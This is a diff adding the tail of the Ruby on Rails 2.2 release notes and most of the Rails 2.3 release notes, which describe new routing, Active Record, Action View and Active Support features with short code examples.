+* `ActiveRecord::Base.human_name` for an internationalization-aware humane translation of model names
+
+Action Controller
+-----------------
+
+On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.
+
+### Shallow Route Nesting
+
+Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.
+
+```ruby
+map.resources :publishers, :shallow => true do |publisher|
+ publisher.resources :magazines do |magazine|
+ magazine.resources :photos
+ end
+end
+```
+
+This will enable recognition of (among others) these routes:
+
+```
+/publishers/1 ==> publisher_path(1)
+/publishers/1/magazines ==> publisher_magazines_path(1)
+/magazines/2 ==> magazine_path(2)
+/magazines/2/photos ==> magazines_photos_path(2)
+/photos/3 ==> photo_path(3)
+```

+
+### Method Arrays for Member or Collection Routes
+
+You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:
+
+```ruby
+map.resources :photos, :collection => { :search => [:get, :post] }
+```
+
+* Lead Contributor: [Brennan Dunn](http://brennandunn.com/)
+
+### Resources With Specific Actions
+
+By default, when you use `map.resources` to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the `:only` and `:except` options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special `:all` or `:none` options. Th [...]
+
+```ruby
+map.resources :photos, :only => [:index, :show]
+map.resources :products, :except => :destroy
+```
+
+* Lead Contributor: [Tom Stuart](http://experthuman.com/)
+
+### Other Action Controller Changes
+
+* You can now easily [show a custom error page](http://m.onkey.org/2008/7/20/rescue-from-dispatching) for exceptions raised while routing a request.
+* The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as `/customers/1.xml`) to indicate the format that you want. If you need the Accept headers, you can turn them back on with `config.action_controller.use_accept_header = true`.
+* Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds
+* Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.
+* `redirect_to` now fully supports URI schemes (so, for example, you can redirect to a svn`ssh: URI).
+* `render` now supports a `:js` option to render plain vanilla JavaScript with the right mime type.
+* Request forgery protection has been tightened up to apply to HTML-formatted content requests only.
+* Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling `polymorphic_path([@project, @date, @area])` with a nil date will give you `project_area_path`.
+
+Action View
+-----------
+
+* `javascript_include_tag` and `stylesheet_link_tag` support a new `:recursive` option to be used along with `:all`, so that you can load an entire tree of files with a single line of code.
+* The included Prototype JavaScript library has been upgraded to version 1.6.0.3.
+* `RJS#page.reload` to reload the browser's current location via JavaScript
+* The `atom_feed` helper now takes an `:instruct` option to let you insert XML processing instructions.
+
+Action Mailer
+-------------
+
+Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the `CustomerMailer` class expects to use `layouts/customer_mailer.html.erb`.
+
+* More information:
+ * [What's New in Edge Rails: Mailer Layouts](http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts)
+
+Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.
+
+Active Support
+--------------
+
+Active Support now offers built-in memoization for Rails applications, the `each_with_object` method, prefix support on delegates, and various other new utility methods.
+
+### Memoization
+
+Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:
+
+```ruby
+def full_name
+ @full_name ||= "#{first_name} #{last_name}"
+end
+```
+
+Memoization lets you handle this task in a declarative fashion:
+
+```ruby
+extend ActiveSupport::Memoizable
+
+def full_name
+ "#{first_name} #{last_name}"
+end
+memoize :full_name
+```
+
+Other features of memoization include `unmemoize`, `unmemoize_all`, and `memoize_all` to turn memoization on or off.
+

+ * [Memo-what? A Guide to Memoization](http://www.railway.at/articles/2008/09/20/a-guide-to-memoization)
+
+### each_with_object
+
+The `each_with_object` method provides an alternative to `inject`, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.
+
+```ruby
+%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'}
+```
+
+Lead Contributor: [Adam Keys](http://therealadam.com/)
+
+### Delegates With Prefixes
+
+If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:
+
+```ruby
+class Vendor < ActiveRecord::Base
+ has_one :account
+ delegate :email, :password, :to => :account, :prefix => true
+end
+```
+
+This will produce delegated methods `vendor#account_email` and `vendor#account_password`. You can also specify a custom prefix:
+
+```ruby
+class Vendor < ActiveRecord::Base
+ has_one :account
+ delegate :email, :password, :to => :account, :prefix => :owner
+end
+```
+
+This will produce delegated methods `vendor#owner_email` and `vendor#owner_password`.
+
+Lead Contributor: [Daniel Schierbeck](http://workingwithrails.com/person/5830-daniel-schierbeck)
+
+### Other Active Support Changes
+
+* Extensive updates to `ActiveSupport::Multibyte`, including Ruby 1.9 compatibility fixes.
+* The addition of `ActiveSupport::Rescuable` allows any class to mix in the `rescue_from` syntax.
+* `past?`, `today?` and `future?` for `Date` and `Time` classes to facilitate date/time comparisons.
+* `Array#second` through `Array#fifth` as aliases for `Array#[1]` through `Array#[4]`
+* `Enumerable#many?` to encapsulate `collection.size > 1`
+* `Inflector#parameterize` produces a URL-ready version of its input, for use in `to_param`.
+* `Time#advance` recognizes fractional days and weeks, so you can do `1.7.weeks.ago`, `1.5.hours.since`, and so on.
+* The included TzInfo library has been upgraded to version 0.3.12.
+* `ActiveSuport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true`
+
+Railties
+--------
+
+In Railties (the core code of Rails itself) the biggest changes are in the `config.gems` mechanism.
+
+### config.gems
+
+To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in `/vendor/gems`. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:
+
+* `config.gem _gem_name_` in your `config/environment.rb` file
+* `rake gems` to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen)
+* `rake gems:install` to install missing gems to the computer
+* `rake gems:unpack` to place a copy of the required gems into `/vendor/gems`
+* `rake gems:unpack:dependencies` to get copies of the required gems and their dependencies into `/vendor/gems`
+* `rake gems:build` to build any missing native extensions
+* `rake gems:refresh_specs` to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them
+
+You can unpack or install a single gem by specifying `GEM=_gem_name_` on the command line.

+ * [Detailed discussion on Lighthouse](http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128)
+
+### Other Railties Changes
+
+* If you're a fan of the [Thin](http://code.macournoyer.com/thin/) web server, you'll be happy to know that `script/server` now supports Thin directly.
+* `script/plugin install <plugin> -r <revision>` now works with git-based as well as svn-based plugins.
+* `script/console` now supports a `--debugger` option
+* Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source
+* `rake notes:custom ANNOTATION=MYFLAG` lets you list out custom annotations.
+* Wrapped `Rails.env` in `StringInquirer` so you can do `Rails.env.development?`
+* To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher.
+
+Deprecated
+----------
+
+A few pieces of older code are deprecated in this release:
+
+* `Rails::SecretKeyGenerator` has been replaced by `ActiveSupport::SecureRandom`
+* `render_component` is deprecated. There's a [render_components plugin](http://github.com/rails/render_component/tree/master) available if you need this functionality.
+* Implicit local assignments when rendering partials has been deprecated.
+
+ ```ruby
+ def partial_with_implicit_local_assignment
+ @customer = Customer.new("Marcel")
+ render :partial => "customer"
+ end
+ ```
+
+ Previously the above code made available a local variable called `customer` inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now.
+
+* `country_select` has been removed. See the [deprecation page](http://www.rubyonrails.org/deprecation/list-of-countries) for more information and a plugin replacement.
+* `ActiveRecord::Base.allow_concurrency` no longer has any effect.
+* `ActiveRecord::Errors.default_error_messages` has been deprecated in favor of `I18n.translate('activerecord.errors.messages')`
+* The `%s` and `%d` interpolation syntax for internationalization is deprecated.
+* `String#chars` has been deprecated in favor of `String#mb_chars`.
+* Durations of fractional months or fractional years are deprecated. Use Ruby's core `Date` and `Time` class arithmetic instead.
+* `Request#relative_url_root` is deprecated. Use `ActionController::Base.relative_url_root` instead.

+Ruby on Rails 2.3 Release Notes
+===============================
+
+Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/master) in t [...]
+
+--------------------------------------------------------------------------------
+
+Application Architecture
+------------------------
+
+There are two major changes in the architecture of Rails applications: complete integration of the [Rack](http://rack.rubyforge.org/) modular web server interface, and renewed support for Rails Engines.
+
+### Rack Integration
+
+Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don't worry; Rails now supports CGI through a proxy interface.) Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test:
+
+* Sessions
+* Cookies
+* File uploads
+* JSON/XML APIs
+
+Here's a summary of the rack-related changes:
+
+* `script/server` has been switched to use Rack, which means it supports any Rack compatible server. `script/server` will also pick up a rackup configuration file if one exists. By default, it will look for a `config.ru` file, but you can override this with the `-c` switch.
+* The FCGI handler goes through Rack.
+* `ActionController::Dispatcher` maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in `environment.rb`.
+* The `rake middleware` task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack.
+* The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware.
+* `ActionController::CGIHandler` is a backwards compatible CGI wrapper around Rack. The `CGIHandler` is meant to take an old CGI object and convert its environment information into a Rack compatible form.
+* `CgiRequest` and `CgiResponse` have been removed.
+* Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object).
+* You no longer need to use `CGI::Cookie.new` in your tests for setting a cookie value. Assigning a `String` value to request.cookies["foo"] now sets the cookie as expected.
+* `CGI::Session::CookieStore` has been replaced by `ActionController::Session::CookieStore`.
+* `CGI::Session::MemCacheStore` has been replaced by `ActionController::Session::MemCacheStore`.
+* `CGI::Session::ActiveRecordStore` has been replaced by `ActiveRecord::SessionStore`.
+* You can still change your session store with `ActionController::Base.session_store = :active_record_store`.
+* Default sessions options are still set with `ActionController::Base.session = { :key => "..." }`. However, the `:session_domain` option has been renamed to `:domain`.
+* The mutex that normally wraps your entire request has been moved into middleware, `ActionController::Lock`.
+* `ActionController::AbstractRequest` and `ActionController::Request` have been unified. The new `ActionController::Request` inherits from `Rack::Request`. This affects access to `response.headers['type']` in test requests. Use `response.content_type` instead.
+* `ActiveRecord::QueryCache` middleware is automatically inserted onto the middleware stack if `ActiveRecord` has been loaded. This middleware sets up and flushes the per-request Active Record query cache.
+* The Rails router and controller classes follow the Rack spec. You can call a controller directly with `SomeController.call(env)`. The router stores the routing parameters in `rack.routing_args`.
+* `ActionController::Request` inherits from `Rack::Request`.
+* Instead of `config.action_controller.session = { :session_key => 'foo', ...` use `config.action_controller.session = { :key => 'foo', ...`.
+* Using the `ParamsParser` middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any `Rack::Request` object after it.
+
+### Renewed Support for Rails Engines
+
+After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your `routes.rb` file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view pat [...]
+
+Documentation
+-------------
+
+The [Ruby on Rails guides](http://guides.rubyonrails.org/) project has published several additional guides for Rails 2.3. In addition, a [separate site](http://edgeguides.rubyonrails.org/) maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the [Rails wiki](http://newwiki.rubyonrails.org/) and early planning for a Rails Book.
+
+* More Information: [Rails Documentation Projects](http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects.)
+
+Ruby 1.9.1 Support
+------------------
+
+Rails 2.3 should pass all of its own tests whether you are running on Ruby 1.8 or the now-released Ruby 1.9.1. You should be aware, though, that moving to 1.9.1 entails checking all of the data adapters, plugins, and other code that you depend on for Ruby 1.9.1 compatibility, as well as Rails core.
+
+Active Record
+-------------
+
+Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic and default scopes, and batch processing.
+
+### Nested Attributes
+
+Active Record can now update the attributes on nested models directly, provided you tell it to do so:
+
+```ruby
+class Book < ActiveRecord::Base
+ has_one :author
+ has_many :pages
+
+ accepts_nested_attributes_for :author, :pages
+end
+```
+
+Turning on nested attributes enables a number of things: automatic (and atomic) saving of a record together with its associated children, child-aware validations, and support for nested forms (discussed later).
+
+You can also specify requirements for any new records that are added via nested attributes using the `:reject_if` option:
+
+```ruby
+accepts_nested_attributes_for :author,
+ :reject_if => proc { |attributes| attributes['name'].blank? }
+```
+
+* Lead Contributor: [Eloy Duran](http://superalloy.nl/)
+* More Information: [Nested Model Forms](http://weblog.rubyonrails.org/2009/1/26/nested-model-forms)
+
+### Nested Transactions
+
+Active Record now supports nested transactions, a much-requested feature. Now you can write code like this:
+
+```ruby
+User.transaction do
+ User.create(:username => 'Admin')
+ User.transaction(:requires_new => true) do
+ User.create(:username => 'Regular')
+ raise ActiveRecord::Rollback
+ end
+end
+
+User.find(:all) # => Returns only Admin
+```
+
+Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the `:requires_new` option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are [using savepoints](http://rails.lighthouseapp.com/projects/8994/tickets/383,) so they're supported even on databases that don't ha [...]

+
+### Dynamic Scopes
+
+You know about dynamic finders in Rails (which allow you to concoct methods like `find_by_color_and_flavor` on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like `currently_active`). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly _and_ method chaining. For example:
+
+```ruby
+Order.scoped_by_customer_id(12)
+Order.scoped_by_customer_id(12).find(:all,
+ :conditions => "status = 'open'")
+Order.scoped_by_customer_id(12).scoped_by_status("open")
+```
+
+There's nothing to define to use dynamic scopes: they just work.
+

+* More Information: [What's New in Edge Rails: Dynamic Scope Methods](http://ryandaigle.com/articles/2008/12/29/what-s-new-in-edge-rails-dynamic-scope-methods.)
+
+### Default Scopes
+
+Rails 2.3 will introduce the notion of _default scopes_ similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write `default_scope :order => 'name ASC'` and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course).
+
+* Lead Contributor: Paweł Kondzior
+* More Information: [What's New in Edge Rails: Default Scoping](http://ryandaigle.com/articles/2008/11/18/what-s-new-in-edge-rails-default-scoping)
+
+### Batch Processing
+
+You can now process large numbers of records from an ActiveRecord model with less pressure on memory by using `find_in_batches`:
+
+```ruby
+Customer.find_in_batches(:conditions => {:active => true}) do |customer_group|
+ customer_group.each { |customer| customer.update_account_balance! }
+end
+```
+
+You can pass most of the `find` options into `find_in_batches`. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the `:limit` option. Instead, use the `:batch_size` option, which defaults to 1000, to set the number of records that will be returned in each batch.
+
+The new `find_each` method provides a wrapper around `find_in_batches` that returns individual records, with the find itself being done in batches (of 1000 by default):
+
+```ruby
+Customer.find_each do |customer|
+ customer.update_account_balance!
+end
+```
+
+Note that you should only use this method for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop.
+
+* More Information (at that point the convenience method was called just `each`):
+ * [Rails 2.3: Batch Finding](http://afreshcup.com/2009/02/23/rails-23-batch-finding/)
+ * [What's New in Edge Rails: Batched Find](http://ryandaigle.com/articles/2009/2/23/what-s-new-in-edge-rails-batched-find)
+
+### Multiple Conditions for Callbacks
+
+When using Active Record callbacks, you can now combine `:if` and `:unless` options on the same callback, and supply multiple conditions as an array:
+
+```ruby
+before_save :update_credit_rating, :if => :active,
+ :unless => [:admin, :cash_only]
+```
+* Lead Contributor: L. Caviola
+
+### Find with having
+
+Rails now has a `:having` option on find (as well as on `has_many` and `has_and_belongs_to_many` associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results:
+
+```ruby
+developers = Developer.find(:all, :group => "salary",
+ :having => "sum(salary) > 10000", :select => "salary")
+```
+
+* Lead Contributor: [Emilio Tagua](http://github.com/miloops)
+
+### Reconnecting MySQL Connections
+
+MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set `reconnect = true` for your MySQL connections in `database.yml` to get this behavior from a Rails application. The default is `false`, so the behavior of existing applications doesn't change.
+
+* Lead Contributor: [Dov Murik](http://twitter.com/dubek)

+ * [Controlling Automatic Reconnection Behavior](http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html)
+ * [MySQL auto-reconnect revisited](http://groups.google.com/group/rubyonrails-core/browse_thread/thread/49d2a7e9c96cb9f4)
+
+### Other Active Record Changes
+
+* An extra `AS` was removed from the generated SQL for `has_and_belongs_to_many` preloading, making it work better for some databases.
+* `ActiveRecord::Base#new_record?` now returns `false` rather than `nil` when confronted with an existing record.
+* A bug in quoting table names in some `has_many :through` associations was fixed.
+* You can now specify a particular timestamp for `updated_at` timestamps: `cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)`
+* Better error messages on failed `find_by_attribute!` calls.
+* Active Record's `to_xml` support gets just a little bit more flexible with the addition of a `:camelize` option.
+* A bug in canceling callbacks from `before_update` or `before_create` was fixed.
+* Rake tasks for testing databases via JDBC have been added.
+* `validates_length_of` will use a custom error message with the `:in` or `:within` options (if one is supplied).
+* Counts on scoped selects now work properly, so you can do things like `Account.scoped(:select => "DISTINCT credit_limit").count`.
+* `ActiveRecord::Base#invalid?` now works as the opposite of `ActiveRecord::Base#valid?`.
+
+Action Controller
+-----------------
+
+Action Controller rolls out some significant changes to rendering, as well as improvements in routing and other areas, in this release.
+
+### Unified Rendering
+
+`ActionController::Base#render` is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render:
+
+```ruby
+render :file => '/tmp/random_file.erb'
+render :template => 'other_controller/action'
+render :action => 'show'
+```
+
+Now in Rails 2.3, you can just supply what you want to render:
+
+```ruby
+render '/tmp/random_file.erb'
+render 'other_controller/action'
+render 'show'
+render :show
+```
+Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (`:inline`, `:text`, `:update`, `:nothing`, `:json`, `:xml`, `:js`) still require an explicit option.
+
+### Application Controller Renamed
+
+If you're one of the people who has always been bothered by the special-case naming of `application.rb`, rejoice! It's been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, `rake rails:update:application_controller` to do this automatically for you - and it will be run as part of the normal `rake rails:update` process.

+
+### HTTP Digest Authentication Support
+
+Rails now has built-in support for HTTP digest authentication. To use it, you call `authenticate_or_request_with_http_digest` with a block that returns the user’s password (which is then hashed and compared against the transmitted credentials):
+
+```ruby
+class PostsController < ApplicationController
+ Users = {"dhh" => "secret"}
+ before_filter :authenticate
+
+ def secret
+ render :text => "Password Required!"
+ end
+
+ private
+ def authenticate
+ realm = "Application"
+ authenticate_or_request_with_http_digest(realm) do |name|
+ Users[name]
+ end
+ end
+end
+```

+
+### More Efficient Routing
+
+There are a couple of significant routing changes in Rails 2.3. The `formatted_` route helpers are gone, in favor just passing in `:format` as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the `formatted_` helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes [...]

+
+### Rack-based Lazy-loaded Sessions
+
+A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old CGI session handler got removed). It's still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In [...]
+
+### MIME Type Handling Changes
+
+There are a couple of changes to the code for handling MIME types in Rails. First, `MIME::Type` now implements the `=~` operator, making things much cleaner when you need to check for the presence of a type that has synonyms:
+
+```ruby
+if content_type && Mime::JS =~ content_type
+ # do something cool
+end
+
+Mime::JS =~ "text/javascript" => true
+Mime::JS =~ "application/javascript" => true
+```
+
+The other change is that the framework now uses the `Mime::JS` when checking for JavaScript in various spots, making it handle those alternatives cleanly.

+
+### Optimization of `respond_to`
+
+In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the `respond_to` method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to `method_missing` and some profiling and tweaking, we're seeing an 8% improvement in the number of requests per second served with a simple `respond_to` that switches between th [...]
+
+### Improved Caching Performance
+
+Rails now keeps a per-request local cache of read from the remote cache stores, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to `MemCacheStore`, it is available to any remote store than implements the required methods.
+
+* Lead Contributor: [Nahum Wild](http://www.motionstandingstill.com/)
+
+### Localized Views
+
+Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a `Posts` controller with a `show` action. By default, this will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :da`, it will render `app/views/posts/show.da.html.erb`. If the localized template isn't present, the undecorated version will be used. Rails also includes `I18n#available_locales` and `I18n::SimpleBackend#available_locales`, which return an arr [...]
+
+In addition, you can use the same scheme to localize the rescue files in the `public` directory: `public/500.da.html` or `public/404.en.html` work, for example.
+
+### Partial Scoping for Translations
+
+A change to the translation API makes things easier and less repetitive to write key translations within partials. If you call `translate(".foo")` from the `people/index.html.erb` template, you'll actually be calling `I18n.translate("people.index.foo")` If you don't prepend the key with a period, then the API doesn't scope, just as before.
+
+### Other Action Controller Changes
+
+* ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there's no body to the response or when sending files with `send_file`.
+* The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set `ActionController::Base.ip_spoofing_check = false` to disable the check entirely.
+* `ActionController::Dispatcher` now implements its own middleware stack, which you can see by running `rake middleware`.
+* Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores.
+* You can now use symbols for the `:type` option of `send_file` and `send_data`, like this: `send_file("fabulous.png", :type => :png)`.
+* The `:only` and `:except` options for `map.resources` are no longer inherited by nested resources.
+* The bundled memcached client has been updated to version 1.6.4.99.
+* The `expires_in`, `stale?`, and `fresh_when` methods now accept a `:public` option to make them work well with proxy caching.
+* The `:requirements` option now works properly with additional RESTful member routes.
+* Shallow routes now properly respect namespaces.
+* `polymorphic_url` does a better job of handling objects with irregular plural names.
+
+Action View
+-----------
+
+Action View in Rails 2.3 picks up nested model forms, improvements to `render`, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things.
+
+### Nested Object Forms
+
+Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using `form_for` and `field_for`. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders
+
+ accepts_nested_attributes_for :orders, :allow_destroy => true
+end
+```
+
+You can write this view in Rails 2.3:
+
+```html+erb
+<% form_for @customer do |customer_form| %>
+ <div>
+ <%= customer_form.label :name, 'Customer Name:' %>
+ <%= customer_form.text_field :name %>
+ </div>
+
+ <!-- Here we call fields_for on the customer_form builder instance.
+ The block is called for each member of the orders collection. -->
+ <% customer_form.fields_for :orders do |order_form| %>
+ <p>
+ <div>
+ <%= order_form.label :number, 'Order Number:' %>
+ <%= order_form.text_field :number %>
+ </div>
+
+ <!-- The allow_destroy option in the model enables deletion of
+ child records. -->
+ <% unless order_form.object.new_record? %>
+ <div>
+ <%= order_form.label :_delete, 'Remove:' %>
+ <%= order_form.check_box :_delete %>
+ </div>
+ <% end %>
+ </p>
+ <% end %>
+
+ <%= customer_form.submit %>
+<% end %>
+```

+
+### Smart Rendering of Partials
+
+The render method has been getting smarter over the years, and it's even smarter now. If you have an object or a collection and an appropriate partial, and the naming matches up, you can now just render the object and things will work. For example, in Rails 2.3, these render calls will work in your view (assuming sensible naming):
+
+```ruby
+# Equivalent of render :partial => 'articles/_article',
+# :object => @article
+render @article
+
+# Equivalent of render :partial => 'articles/_article',
+# :collection => @articles
+render @articles
+```

+
+### Prompts for Date Select Helpers
+
+In Rails 2.3, you can supply custom prompts for the various date select helpers (`date_select`, `time_select`, and `datetime_select`), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set `:prompt` to `true` to use the custom generic prompt:
+
+```ruby
+select_datetime(DateTime.now, :prompt => true)
+
+select_datetime(DateTime.now, :prompt => "Choose date and time")
+
+select_datetime(DateTime.now, :prompt =>
+ {:day => 'Choose day', :month => 'Choose month',
+ :year => 'Choose year', :hour => 'Choose hour',
+ :minute => 'Choose minute'})
+```
+
+* Lead Contributor: [Sam Oliver](http://samoliver.com/)
+
+### AssetTag Timestamp Caching
+
+You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster." This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the `cache_asset_timestamps` configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value [...]
+
+### Asset Hosts as Objects
+
+Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to implement any complex logic you need in your asset hosting.
+
+* More Information: [asset-hosting-with-minimum-ssl](http://github.com/dhh/asset-hosting-with-minimum-ssl/tree/master)
+
+### grouped_options_for_select Helper Method
+
+Action View already had a bunch of helpers to aid in generating select controls, but now there's one more: `grouped_options_for_select`. This one accepts an array or hash of strings, and converts them into a string of `option` tags wrapped with `optgroup` tags. For example:
+
+```ruby
+grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]],
+ "Cowboy Hat", "Choose a product...")
+```
+
+returns
+
+```ruby
+<option value="">Choose a product...</option>
+<optgroup label="Hats">
+ <option value="Baseball Cap">Baseball Cap</option>
+ <option selected="selected" value="Cowboy Hat">Cowboy Hat</option>
+</optgroup>
+```
+
+### Disabled Option Tags for Form Select Helpers
+
+The form select helpers (such as `select` and `options_for_select`) now support a `:disabled` option, which can take a single value or an array of values to be disabled in the resulting tags:
+
+```ruby
+select(:post, :category, Post::CATEGORIES, :disabled => 'private')
+```
+
+returns
+
+```html
+<select name=“post[category]“>
+<option>story</option>
+<option>joke</option>
+<option>poem</option>
+<option disabled=“disabled“>private</option>
+</select>
+```
+
+You can also use an anonymous function to determine at runtime which options from collections will be selected and/or disabled:
+
+```ruby
+options_from_collection_for_select(@product.sizes, :name, :id, :disabled => lambda{|size| size.out_of_stock?})
+```
+
+* Lead Contributor: [Tekin Suleyman](http://tekin.co.uk/)
+* More Information: [New in rails 2.3 - disabled option tags and lambdas for selecting and disabling options from collections](http://tekin.co.uk/2009/03/new-in-rails-23-disabled-option-tags-and-lambdas-for-selecting-and-disabling-options-from-collections/)
+
+### A Note About Template Loading
+
+Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don't check for a new template file when they're rendered - but they also mean that you can't replace a template "on the fly" without restarting the server.
+
+In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your `production.rb` file:
+
+```ruby
+config.action_view.cache_template_loading = true
+```
+
+This line will be generated for you by default in a new Rails 2.3 application. If you've upgraded from an older version of Rails, Rails will default to caching templates in production and test but not in development.
+
+### Other Action View Changes
+
+* Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by `ActiveSupport::SecureRandom` rather than mucking around with session IDs.
+* `auto_link` now properly applies options (such as `:target` and `:class`) to generated e-mail links.
+* The `autolink` helper has been refactored to make it a bit less messy and more intuitive.
+* `current_page?` now works properly even when there are multiple query parameters in the URL.
+
+Active Support
+--------------
+
+Active Support has a few interesting changes, including the introduction of `Object#try`.
+
+### Object#try
+
+A lot of folks have adopted the notion of using try() to attempt operations on objects. It's especially helpful in views where you can avoid nil-checking by writing code like `<%= @person.try(:name) %>`. Well, now it's baked right into Rails. As implemented in Rails, it raises `NoMethodError` on private methods and always returns `nil` if the object is nil.
+
+* More Information: [try()](http://ozmm.org/posts/try.html.)
+
+### Object#tap Backport
+
+`Object#tap` is an addition to [Ruby 1.9](http://www.ruby-doc.org/core-1.9/classes/Object.html#M000309) and 1.8.7 that is similar to the `returning` method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well.
+
+### Swappable Parsers for XMLmini
+
+The support for XML parsing in ActiveSupport has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed:
+
+```ruby
+XmlMini.backend = 'LibXML'
+```
+

+* Lead Contributor: [Aaron Patterson](http://tenderlovemaking.com/)
+
+### Fractional seconds for TimeWithZone
+
